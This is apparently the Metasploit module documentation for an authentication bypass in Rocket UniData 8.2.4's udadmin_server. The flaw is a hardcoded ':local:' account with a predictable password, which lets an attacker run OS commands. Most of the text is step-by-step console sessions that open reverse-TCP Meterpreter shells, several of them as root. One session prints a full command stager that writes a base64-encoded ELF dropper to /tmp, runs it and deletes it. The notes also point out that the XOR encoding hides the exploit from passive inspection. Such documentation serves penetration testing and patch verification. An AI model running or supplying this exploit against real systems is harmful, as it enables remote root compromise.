## Vulnerable Application Exploits a built-in username/password combination in `udadmin_server`, which is the administrator server for UniData (and possibly other services). It's accessed via the RPC service `unirpcd`. A special username `:local:` is hardcoded into the application. If a user attempts to remotely authenticate as `:local:`, the password is fully predictable; it's made up of `::`, where the fields are: * `username` - a username on the target host (eg, "root") * `uid` - the corresponding user id (eg, 0 for "root") * `gid` - any non-zero group id If the user authenticates to the RPC service with this account, the username and uid are validated, then the service will drop privileges to the given account. Then the user can access any of the `udadmin_server` commands, including `OsCommand`, which executes a Linux shell command. The vulnerable application is `udadmin_server`, which is an RPC service that's run as part of `unirpcd`, which powers Rocket Software's UniData application (among others). The specific software is UniData 8.2.4.3001 for Linux. We haven't tested any other versions (except for Windows, which is not vulnerable). The UniData software can be downloaded for free, but you have to request a demo copy and wait for an email to arrive. I can provide the installation files if needed. The software is distributed as a .zip file, which contains a .tar file: ``` [ron@unidata unidata]$ unzip Unidata\ Personal\ X86_8.2.4.3001.zip Archive: Unidata Personal X86_8.2.4.3001.zip inflating: bin.tar inflating: UniData_Hotfix_V824_3001.pdf inflating: UniData_Release_Notes_v824.pdf [ron@unidata unidata]$ tar -xf bin.tar [ron@unidata unidata]$ sudo ./udtsetup [default options, set directories] CheckLang Yes CheckPerms No Group sys InstallXDEMO Yes LibDir /home/ron/unidata/unidata/lib Startud Yes UdtBin /home/ron/unidata/unidata/bin UdtHome /home/ron/unidata/unidata UnisharedDir /home/ron/unidata/unishared WorkDir /home/ron/unidata/unidata/work ``` I think it will automatically start the first time you install the software, but to run it after a reboot (note that this must be done as root): ``` # export UDTBIN=/home/ron/unidata/unidata/bin # export UDTHOME=/home/ron/unidata/unidata # export PATH=$PATH:$UDTBIN # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$UDTBIN # export LANG=C # startud ``` (This module will not work at all against the Windows version) ## Verification Steps 1. Install the application (software and instructions are on Vulnerable Software drive) 1. Start msfconsole 1. Do: `use exploit/linux/misc/unidata_udadmin_auth_bypass` 1. Do: set `RHOST`, `LHOST`, and payload if desired 1. Do: `run` 1. You should get a shell. ## Options ### `UNIRPC_USERNAME` The local username to use when authenticating. It must correspond to a Linux account on the target host (it will be passed to `getpwnam(3)`, which must recognize it). Generally, the default (`root`) works perfectly fine. ### `UNIRPC_UID` The Linux user id that the service will run your command as. It must be the user id that corresponds to the `UNIRPC_USERNAME`. The default (`0`) generally works perfectly fine if `UNIRPC_USERNAME` is `root`. ### `UNIRPC_GID` The Linux group id that the service will run your command as. Cannot be `0`, but any other value works fine. The default (`1000`) probably looks the least weird. ### `UNIRPC_ENDPOINT` The RPC endpoint to connect to. The default (`udadmin`) as well as `udadmin82` should work. It's unlikely anything else will work. ### `UNIRPC_ENCODE_MESSAGES` A boolean, defined in the `unirpc.rb` mixin, that turns UniRPC's packet-body encoding on or off. Default is `true`. In the UniRPC header, there is a bit that enables packet encoding. If set, the packet body is XOR'd with either 1 or 2, depending on another header field. While it's not strong encoding by any means, it does hide the exploit from passive inspection. We set the encoding the XOR'ing with 2 by default. ## Scenarios ### Version 8.2.4 with root user, unix command target ``` msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show options Module options (exploit/linux/misc/unidata_udadmin_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.0.0.198 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 31438 yes The target port (TCP) SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) UNIRPC_GID 1000 yes gid to authenticate with (must not be 0, does not need to correspond to the username) UNIRPC_UID 0 yes Linux uid to authenticate with (must correspond to the username) UNIRPC_USERNAME root yes Linux username to authenticate with (must match the uid) URIPATH no The URI to use for this exploit (default is random) When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST ens160 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) [*] 10.0.0.198:31438 - Trying to get version number from service defcs... [*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running [!] 10.0.0.198:31438 - The service is running, but could not be validated. [*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin [*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000 [*] 10.0.0.198:31438 - Sending OsCommand request [*] Sending stage (24772 bytes) to 10.0.0.198 [*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54560) at 2023-04-11 09:36:56 -0700 meterpreter > getuid Server username: root ``` ### Version 8.2.4 with invalid user ``` msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME fake UNIRPC_USERNAME => fake msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show options Module options (exploit/linux/misc/unidata_udadmin_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.0.0.198 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 31438 yes The target port (TCP) SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) UNIRPC_GID 1000 yes gid to authenticate with (must not be 0, does not need to correspond to the username) UNIRPC_UID 0 yes Linux uid to authenticate with (must correspond to the username) UNIRPC_USERNAME fake yes Linux username to authenticate with (must match the uid) URIPATH no The URI to use for this exploit (default is random) When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST ens160 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) [*] 10.0.0.198:31438 - Trying to get version number from service defcs... [*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running [!] 10.0.0.198:31438 - The service is running, but could not be validated. [*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin [*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / fake:0:1000 [-] 10.0.0.198:31438 - Exploit aborted due to failure: unexpected-reply: UniRPC server returned something unexpected: UniRPC server returned an error code: Unknown error: 80011 [*] Exploit completed, but no session was created. ``` ### Version 8.2.4 with non-root user, unix command target ``` msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME ron UNIRPC_USERNAME => ron msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_UID 1000 UNIRPC_UID => 1000 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) [*] 10.0.0.198:31438 - Trying to get version number from service defcs... [*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running [!] 10.0.0.198:31438 - The service is running, but could not be validated. [*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin [*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / ron:1000:1000 [*] 10.0.0.198:31438 - Sending OsCommand request [*] Sending stage (24772 bytes) to 10.0.0.198 [*] Meterpreter session 2 opened (10.0.0.227:4444 -> 10.0.0.198:54562) at 2023-04-11 09:39:14 -0700 meterpreter > getuid Server username: ron ``` ### Version 8.2.4 as root, with unix dropper target ``` msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show targets Exploit targets: ================= Id Name -- ---- => 0 Unix Command 1 Linux Dropper msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set TARGET 1 TARGET => 1 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) [*] 10.0.0.198:31438 - Trying to get version number from service defcs... [*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running [!] 10.0.0.198:31438 - The service is running, but could not be validated. [*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin [*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000 [*] 10.0.0.198:31438 - Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAGgEAAAAAAAC8AQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdeox/2oJWJm2EEiJ1k0xyWoiQVpqB1oPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcCgAA41FIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/m>>'/tmp/AsOOd.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eFHfW' < '/tmp/AsOOd.b64' ; chmod +x '/tmp/eFHfW' ; '/tmp/eFHfW' ; rm -f '/tmp/eFHfW' ; rm -f '/tmp/AsOOd.b64'"] [*] 10.0.0.198:31438 - Sending OsCommand request [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045348 bytes) to 10.0.0.198 [*] 10.0.0.198:31438 - Command Stager progress - 100.00% done (863/863 bytes) [*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54564) at 2023-04-11 09:41:57 -0700 meterpreter > getuid Server username: root ```